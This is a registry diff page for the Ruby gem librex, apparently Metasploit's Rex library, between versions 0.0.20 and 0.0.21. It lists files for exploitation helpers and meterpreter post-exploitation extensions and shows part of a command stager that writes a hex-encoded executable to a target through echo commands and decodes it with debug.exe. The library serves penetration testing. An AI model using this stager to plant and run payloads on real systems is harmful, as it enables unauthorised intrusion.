librex 0.0.20 → 0.0.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/Rakefile +1 -0
- data/lib/rex/LICENSE +29 -0
- data/lib/rex/arch.rb +103 -0
- data/lib/rex/arch/sparc.rb +75 -0
- data/lib/rex/arch/sparc.rb.ut.rb +18 -0
- data/lib/rex/arch/x86.rb +513 -0
- data/lib/rex/arch/x86.rb.ut.rb +93 -0
- data/lib/rex/assembly/nasm.rb +104 -0
- data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
- data/lib/rex/codepage.map +104 -0
- data/lib/rex/compat.rb +311 -0
- data/lib/rex/constants.rb +113 -0
- data/lib/rex/elfparsey.rb +11 -0
- data/lib/rex/elfparsey/elf.rb +123 -0
- data/lib/rex/elfparsey/elfbase.rb +258 -0
- data/lib/rex/elfparsey/exceptions.rb +27 -0
- data/lib/rex/elfscan.rb +12 -0
- data/lib/rex/elfscan/scanner.rb +207 -0
- data/lib/rex/elfscan/search.rb +46 -0
- data/lib/rex/encoder/alpha2.rb +31 -0
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
- data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
- data/lib/rex/encoder/alpha2/generic.rb +114 -0
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
- data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
- data/lib/rex/encoder/ndr.rb +89 -0
- data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
- data/lib/rex/encoder/nonalpha.rb +61 -0
- data/lib/rex/encoder/nonupper.rb +64 -0
- data/lib/rex/encoder/xdr.rb +106 -0
- data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
- data/lib/rex/encoder/xor.rb +69 -0
- data/lib/rex/encoder/xor/dword.rb +13 -0
- data/lib/rex/encoder/xor/dword_additive.rb +13 -0
- data/lib/rex/encoders/xor_dword.rb +35 -0
- data/lib/rex/encoders/xor_dword_additive.rb +53 -0
- data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
- data/lib/rex/encoding/xor.rb +20 -0
- data/lib/rex/encoding/xor.rb.ts.rb +14 -0
- data/lib/rex/encoding/xor/byte.rb +15 -0
- data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/dword_additive.rb +92 -0
- data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/exceptions.rb +17 -0
- data/lib/rex/encoding/xor/generic.rb +146 -0
- data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
- data/lib/rex/encoding/xor/qword.rb +15 -0
- data/lib/rex/encoding/xor/word.rb +21 -0
- data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
- data/lib/rex/exceptions.rb +275 -0
- data/lib/rex/exceptions.rb.ut.rb +44 -0
- data/lib/rex/exploitation/cmdstager.rb +9 -0
- data/lib/rex/exploitation/cmdstager/base.rb +175 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +142 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +136 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +63 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +128 -0
- data/lib/rex/exploitation/egghunter.rb +277 -0
- data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
- data/lib/rex/exploitation/encryptjs.rb +77 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +94 -0
- data/lib/rex/exploitation/javascriptosdetect.rb +897 -0
- data/lib/rex/exploitation/obfuscatejs.rb +335 -0
- data/lib/rex/exploitation/omelet.rb +320 -0
- data/lib/rex/exploitation/omelet.rb.ut.rb +13 -0
- data/lib/rex/exploitation/opcodedb.rb +818 -0
- data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
- data/lib/rex/exploitation/seh.rb +92 -0
- data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
- data/lib/rex/file.rb +112 -0
- data/lib/rex/file.rb.ut.rb +16 -0
- data/lib/rex/image_source.rb +12 -0
- data/lib/rex/image_source/disk.rb +60 -0
- data/lib/rex/image_source/image_source.rb +46 -0
- data/lib/rex/image_source/memory.rb +37 -0
- data/lib/rex/io/bidirectional_pipe.rb +157 -0
- data/lib/rex/io/datagram_abstraction.rb +35 -0
- data/lib/rex/io/ring_buffer.rb +364 -0
- data/lib/rex/io/stream.rb +319 -0
- data/lib/rex/io/stream_abstraction.rb +197 -0
- data/lib/rex/io/stream_server.rb +211 -0
- data/lib/rex/job_container.rb +187 -0
- data/lib/rex/logging.rb +4 -0
- data/lib/rex/logging/log_dispatcher.rb +179 -0
- data/lib/rex/logging/log_sink.rb +42 -0
- data/lib/rex/logging/sinks/flatfile.rb +55 -0
- data/lib/rex/logging/sinks/stderr.rb +43 -0
- data/lib/rex/machparsey.rb +9 -0
- data/lib/rex/machparsey/exceptions.rb +34 -0
- data/lib/rex/machparsey/mach.rb +209 -0
- data/lib/rex/machparsey/machbase.rb +408 -0
- data/lib/rex/machscan.rb +9 -0
- data/lib/rex/machscan/scanner.rb +217 -0
- data/lib/rex/mime.rb +9 -0
- data/lib/rex/mime/header.rb +77 -0
- data/lib/rex/mime/message.rb +144 -0
- data/lib/rex/mime/part.rb +20 -0
- data/lib/rex/nop/opty2.rb +108 -0
- data/lib/rex/nop/opty2.rb.ut.rb +23 -0
- data/lib/rex/nop/opty2_tables.rb +300 -0
- data/lib/rex/ole.rb +205 -0
- data/lib/rex/ole/clsid.rb +47 -0
- data/lib/rex/ole/difat.rb +141 -0
- data/lib/rex/ole/directory.rb +231 -0
- data/lib/rex/ole/direntry.rb +240 -0
- data/lib/rex/ole/docs/dependencies.txt +8 -0
- data/lib/rex/ole/docs/references.txt +1 -0
- data/lib/rex/ole/fat.rb +99 -0
- data/lib/rex/ole/header.rb +204 -0
- data/lib/rex/ole/minifat.rb +77 -0
- data/lib/rex/ole/propset.rb +144 -0
- data/lib/rex/ole/samples/create_ole.rb +27 -0
- data/lib/rex/ole/samples/dir.rb +35 -0
- data/lib/rex/ole/samples/dump_stream.rb +34 -0
- data/lib/rex/ole/samples/ole_info.rb +23 -0
- data/lib/rex/ole/storage.rb +395 -0
- data/lib/rex/ole/stream.rb +53 -0
- data/lib/rex/ole/substorage.rb +49 -0
- data/lib/rex/ole/util.rb +157 -0
- data/lib/rex/parser/arguments.rb +97 -0
- data/lib/rex/parser/arguments.rb.ut.rb +67 -0
- data/lib/rex/parser/ini.rb +185 -0
- data/lib/rex/parser/ini.rb.ut.rb +29 -0
- data/lib/rex/parser/ip360_aspl_xml.rb +102 -0
- data/lib/rex/parser/ip360_xml.rb +97 -0
- data/lib/rex/parser/nessus_xml.rb +118 -0
- data/lib/rex/parser/netsparker_xml.rb +94 -0
- data/lib/rex/parser/nexpose_xml.rb +136 -0
- data/lib/rex/parser/nmap_xml.rb +137 -0
- data/lib/rex/parser/retina_xml.rb +109 -0
- data/lib/rex/payloads.rb +1 -0
- data/lib/rex/payloads/win32.rb +2 -0
- data/lib/rex/payloads/win32/common.rb +26 -0
- data/lib/rex/payloads/win32/kernel.rb +53 -0
- data/lib/rex/payloads/win32/kernel/common.rb +54 -0
- data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
- data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +194 -0
- data/lib/rex/peparsey.rb +12 -0
- data/lib/rex/peparsey/exceptions.rb +32 -0
- data/lib/rex/peparsey/pe.rb +212 -0
- data/lib/rex/peparsey/pe_memdump.rb +63 -0
- data/lib/rex/peparsey/pebase.rb +1680 -0
- data/lib/rex/peparsey/section.rb +136 -0
- data/lib/rex/pescan.rb +13 -0
- data/lib/rex/pescan/analyze.rb +309 -0
- data/lib/rex/pescan/scanner.rb +206 -0
- data/lib/rex/pescan/search.rb +56 -0
- data/lib/rex/platforms.rb +1 -0
- data/lib/rex/platforms/windows.rb +51 -0
- data/lib/rex/poly.rb +132 -0
- data/lib/rex/poly/block.rb +477 -0
- data/lib/rex/poly/register.rb +100 -0
- data/lib/rex/poly/register/x86.rb +40 -0
- data/lib/rex/post.rb +8 -0
- data/lib/rex/post/dir.rb +51 -0
- data/lib/rex/post/file.rb +172 -0
- data/lib/rex/post/file_stat.rb +220 -0
- data/lib/rex/post/gen.pl +13 -0
- data/lib/rex/post/io.rb +182 -0
- data/lib/rex/post/meterpreter.rb +4 -0
- data/lib/rex/post/meterpreter/channel.rb +445 -0
- data/lib/rex/post/meterpreter/channel_container.rb +54 -0
- data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
- data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
- data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
- data/lib/rex/post/meterpreter/client.rb +364 -0
- data/lib/rex/post/meterpreter/client_core.rb +274 -0
- data/lib/rex/post/meterpreter/dependencies.rb +3 -0
- data/lib/rex/post/meterpreter/extension.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +15 -0
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +111 -0
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +101 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +26 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +282 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +266 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +180 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +208 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +6 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38106 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +31 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +47 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +36 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +1818 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +96 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3848 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +26 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +153 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3169 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +599 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +318 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +100 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +42 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +148 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +127 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +309 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +204 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +51 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +630 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +75 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +103 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +149 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +192 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +370 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +193 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +180 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +211 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +63 -0
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
- data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
- data/lib/rex/post/meterpreter/packet.rb +688 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +431 -0
- data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
- data/lib/rex/post/meterpreter/ui/console.rb +137 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +730 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +231 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +65 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +442 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +298 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +486 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +157 -0
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
- data/lib/rex/post/permission.rb +26 -0
- data/lib/rex/post/process.rb +57 -0
- data/lib/rex/post/thread.rb +57 -0
- data/lib/rex/post/ui.rb +52 -0
- data/lib/rex/proto.rb +13 -0
- data/lib/rex/proto.rb.ts.rb +8 -0
- data/lib/rex/proto/dcerpc.rb +6 -0
- data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
- data/lib/rex/proto/dcerpc/client.rb +361 -0
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
- data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
- data/lib/rex/proto/dcerpc/handle.rb +47 -0
- data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
- data/lib/rex/proto/dcerpc/ndr.rb +72 -0
- data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
- data/lib/rex/proto/dcerpc/packet.rb +253 -0
- data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
- data/lib/rex/proto/dcerpc/response.rb +187 -0
- data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
- data/lib/rex/proto/dcerpc/uuid.rb +84 -0
- data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
- data/lib/rex/proto/dhcp.rb +7 -0
- data/lib/rex/proto/dhcp/constants.rb +33 -0
- data/lib/rex/proto/dhcp/server.rb +292 -0
- data/lib/rex/proto/drda.rb +5 -0
- data/lib/rex/proto/drda.rb.ts.rb +17 -0
- data/lib/rex/proto/drda/constants.rb +49 -0
- data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
- data/lib/rex/proto/drda/packet.rb +252 -0
- data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
- data/lib/rex/proto/drda/utils.rb +123 -0
- data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
- data/lib/rex/proto/http.rb +5 -0
- data/lib/rex/proto/http.rb.ts.rb +12 -0
- data/lib/rex/proto/http/client.rb +821 -0
- data/lib/rex/proto/http/client.rb.ut.rb +95 -0
- data/lib/rex/proto/http/handler.rb +46 -0
- data/lib/rex/proto/http/handler/erb.rb +128 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
- data/lib/rex/proto/http/handler/proc.rb +60 -0
- data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
- data/lib/rex/proto/http/header.rb +161 -0
- data/lib/rex/proto/http/header.rb.ut.rb +46 -0
- data/lib/rex/proto/http/packet.rb +407 -0
- data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
- data/lib/rex/proto/http/request.rb +356 -0
- data/lib/rex/proto/http/request.rb.ut.rb +214 -0
- data/lib/rex/proto/http/response.rb +90 -0
- data/lib/rex/proto/http/response.rb.ut.rb +149 -0
- data/lib/rex/proto/http/server.rb +369 -0
- data/lib/rex/proto/http/server.rb.ut.rb +79 -0
- data/lib/rex/proto/ntlm.rb +7 -0
- data/lib/rex/proto/ntlm.rb.ut.rb +177 -0
- data/lib/rex/proto/ntlm/base.rb +326 -0
- data/lib/rex/proto/ntlm/constants.rb +74 -0
- data/lib/rex/proto/ntlm/crypt.rb +415 -0
- data/lib/rex/proto/ntlm/exceptions.rb +16 -0
- data/lib/rex/proto/ntlm/message.rb +536 -0
- data/lib/rex/proto/ntlm/utils.rb +764 -0
- data/lib/rex/proto/proxy/socks4a.rb +440 -0
- data/lib/rex/proto/rfb.rb +19 -0
- data/lib/rex/proto/rfb.rb.ut.rb +37 -0
- data/lib/rex/proto/rfb/cipher.rb +84 -0
- data/lib/rex/proto/rfb/client.rb +207 -0
- data/lib/rex/proto/rfb/constants.rb +52 -0
- data/lib/rex/proto/smb.rb +7 -0
- data/lib/rex/proto/smb.rb.ts.rb +8 -0
- data/lib/rex/proto/smb/client.rb +1952 -0
- data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
- data/lib/rex/proto/smb/constants.rb +1047 -0
- data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
- data/lib/rex/proto/smb/crypt.rb +36 -0
- data/lib/rex/proto/smb/evasions.rb +66 -0
- data/lib/rex/proto/smb/exceptions.rb +858 -0
- data/lib/rex/proto/smb/simpleclient.rb +306 -0
- data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
- data/lib/rex/proto/smb/utils.rb +103 -0
- data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
- data/lib/rex/proto/sunrpc.rb +1 -0
- data/lib/rex/proto/sunrpc/client.rb +195 -0
- data/lib/rex/proto/tftp.rb +12 -0
- data/lib/rex/proto/tftp/constants.rb +39 -0
- data/lib/rex/proto/tftp/server.rb +497 -0
- data/lib/rex/proto/tftp/server.rb.ut.rb +28 -0
- data/lib/rex/script.rb +42 -0
- data/lib/rex/script/base.rb +59 -0
- data/lib/rex/script/meterpreter.rb +15 -0
- data/lib/rex/script/shell.rb +9 -0
- data/lib/rex/service.rb +48 -0
- data/lib/rex/service_manager.rb +141 -0
- data/lib/rex/service_manager.rb.ut.rb +32 -0
- data/lib/rex/services/local_relay.rb +423 -0
- data/lib/rex/socket.rb +684 -0
- data/lib/rex/socket.rb.ut.rb +107 -0
- data/lib/rex/socket/comm.rb +119 -0
- data/lib/rex/socket/comm/local.rb +412 -0
- data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
- data/lib/rex/socket/ip.rb +130 -0
- data/lib/rex/socket/parameters.rb +345 -0
- data/lib/rex/socket/parameters.rb.ut.rb +51 -0
- data/lib/rex/socket/range_walker.rb +346 -0
- data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
- data/lib/rex/socket/ssl_tcp.rb +184 -0
- data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
- data/lib/rex/socket/ssl_tcp_server.rb +122 -0
- data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +61 -0
- data/lib/rex/socket/subnet_walker.rb +75 -0
- data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
- data/lib/rex/socket/switch_board.rb +278 -0
- data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
- data/lib/rex/socket/tcp.rb +76 -0
- data/lib/rex/socket/tcp.rb.ut.rb +64 -0
- data/lib/rex/socket/tcp_server.rb +66 -0
- data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
- data/lib/rex/socket/udp.rb +164 -0
- data/lib/rex/socket/udp.rb.ut.rb +44 -0
- data/lib/rex/struct2.rb +5 -0
- data/lib/rex/struct2/c_struct.rb +181 -0
- data/lib/rex/struct2/c_struct_template.rb +39 -0
- data/lib/rex/struct2/constant.rb +26 -0
- data/lib/rex/struct2/element.rb +44 -0
- data/lib/rex/struct2/generic.rb +73 -0
- data/lib/rex/struct2/restraint.rb +54 -0
- data/lib/rex/struct2/s_string.rb +72 -0
- data/lib/rex/struct2/s_struct.rb +111 -0
- data/lib/rex/sync.rb +6 -0
- data/lib/rex/sync/event.rb +94 -0
- data/lib/rex/sync/read_write_lock.rb +176 -0
- data/lib/rex/sync/ref.rb +57 -0
- data/lib/rex/sync/thread_safe.rb +82 -0
- data/lib/rex/test.rb +35 -0
- data/lib/rex/text.rb +1163 -0
- data/lib/rex/text.rb.ut.rb +190 -0
- data/lib/rex/thread_factory.rb +42 -0
- data/lib/rex/time.rb +65 -0
- data/lib/rex/transformer.rb +115 -0
- data/lib/rex/transformer.rb.ut.rb +38 -0
- data/lib/rex/ui.rb +21 -0
- data/lib/rex/ui/interactive.rb +298 -0
- data/lib/rex/ui/output.rb +78 -0
- data/lib/rex/ui/output/none.rb +18 -0
- data/lib/rex/ui/progress_tracker.rb +96 -0
- data/lib/rex/ui/subscriber.rb +149 -0
- data/lib/rex/ui/text/color.rb +97 -0
- data/lib/rex/ui/text/color.rb.ut.rb +18 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +467 -0
- data/lib/rex/ui/text/input.rb +117 -0
- data/lib/rex/ui/text/input/buffer.rb +75 -0
- data/lib/rex/ui/text/input/readline.rb +129 -0
- data/lib/rex/ui/text/input/socket.rb +95 -0
- data/lib/rex/ui/text/input/stdio.rb +45 -0
- data/lib/rex/ui/text/irb_shell.rb +57 -0
- data/lib/rex/ui/text/output.rb +80 -0
- data/lib/rex/ui/text/output/buffer.rb +61 -0
- data/lib/rex/ui/text/output/file.rb +43 -0
- data/lib/rex/ui/text/output/socket.rb +43 -0
- data/lib/rex/ui/text/output/stdio.rb +40 -0
- data/lib/rex/ui/text/progress_tracker.rb +56 -0
- data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
- data/lib/rex/ui/text/shell.rb +328 -0
- data/lib/rex/ui/text/table.rb +279 -0
- data/lib/rex/ui/text/table.rb.ut.rb +55 -0
- data/lib/rex/zip.rb +93 -0
- data/lib/rex/zip/archive.rb +184 -0
- data/lib/rex/zip/blocks.rb +182 -0
- data/lib/rex/zip/entry.rb +104 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- metadata +434 -1
|
@@ -0,0 +1,142 @@
|
|
|
1
|
+
##
|
|
2
|
+
# $Id$
|
|
3
|
+
##
|
|
4
|
+
|
|
5
|
+
require 'rex/text'
|
|
6
|
+
require 'rex/arch'
|
|
7
|
+
require 'msf/core/framework'
|
|
8
|
+
|
|
9
|
+
module Rex
|
|
10
|
+
module Exploitation
|
|
11
|
+
|
|
12
|
+
###
|
|
13
|
+
#
|
|
14
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
|
15
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
|
16
|
+
# be written to disk and executed.
|
|
17
|
+
#
|
|
18
|
+
# This particular version uses debug.exe to assemble a small COM file. The COM will
|
|
19
|
+
# take a hex-ascii file, created via echo >>, and decode it to the final binary.
|
|
20
|
+
#
|
|
21
|
+
# Requires: debug.exe
|
|
22
|
+
#
|
|
23
|
+
# Written by Joshua J. Drake
|
|
24
|
+
#
|
|
25
|
+
###
|
|
26
|
+
|
|
27
|
+
class CmdStagerDebugAsm < CmdStagerBase
|
|
28
|
+
|
|
29
|
+
def initialize(exe)
|
|
30
|
+
super
|
|
31
|
+
|
|
32
|
+
@var_decoder_asm = Rex::Text.rand_text_alpha(8) + ".dat"
|
|
33
|
+
@var_decoder_com = Rex::Text.rand_text_alpha(8) + ".com"
|
|
34
|
+
@var_payload_in = Rex::Text.rand_text_alpha(8) + ".dat"
|
|
35
|
+
@var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe"
|
|
36
|
+
@decoder = nil # filled in later
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
#
|
|
41
|
+
# Override just to set the extra byte count
|
|
42
|
+
#
|
|
43
|
+
def generate_cmds(opts)
|
|
44
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
|
45
|
+
@cmd_start = "echo "
|
|
46
|
+
@cmd_end = ">>#{@tempdir}#{@var_payload_in}"
|
|
47
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
|
48
|
+
opts.merge!({ :extra => xtra_len })
|
|
49
|
+
super
|
|
50
|
+
end
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
#
|
|
54
|
+
# Simple hex encoding...
|
|
55
|
+
#
|
|
56
|
+
def encode_payload(opts)
|
|
57
|
+
ret = @exe.unpack('H*')[0]
|
|
58
|
+
end
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
#
|
|
62
|
+
# Combine the parts of the encoded file with the stuff that goes
|
|
63
|
+
# before / after it.
|
|
64
|
+
#
|
|
65
|
+
def parts_to_commands(parts, opts)
|
|
66
|
+
|
|
67
|
+
cmds = []
|
|
68
|
+
parts.each do |p|
|
|
69
|
+
cmd = ''
|
|
70
|
+
cmd << @cmd_start
|
|
71
|
+
cmd << p
|
|
72
|
+
cmd << @cmd_end
|
|
73
|
+
cmds << cmd
|
|
74
|
+
end
|
|
75
|
+
|
|
76
|
+
cmds
|
|
77
|
+
end
|
|
78
|
+
|
|
79
|
+
|
|
80
|
+
#
|
|
81
|
+
# Generate the commands that will decode the file we just created
|
|
82
|
+
#
|
|
83
|
+
def generate_cmds_decoder(opts)
|
|
84
|
+
|
|
85
|
+
# Allow decoder stub override (needs to input base64 and output bin)
|
|
86
|
+
@decoder = opts[:decoder] if (opts[:decoder])
|
|
87
|
+
|
|
88
|
+
# Read the decoder data file
|
|
89
|
+
f = File.new(@decoder, "rb")
|
|
90
|
+
decoder = f.read(f.stat.size)
|
|
91
|
+
f.close
|
|
92
|
+
|
|
93
|
+
# Replace variables
|
|
94
|
+
decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}")
|
|
95
|
+
decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}")
|
|
96
|
+
# NOTE: these two filenames MUST 8+3 chars long.
|
|
97
|
+
decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}")
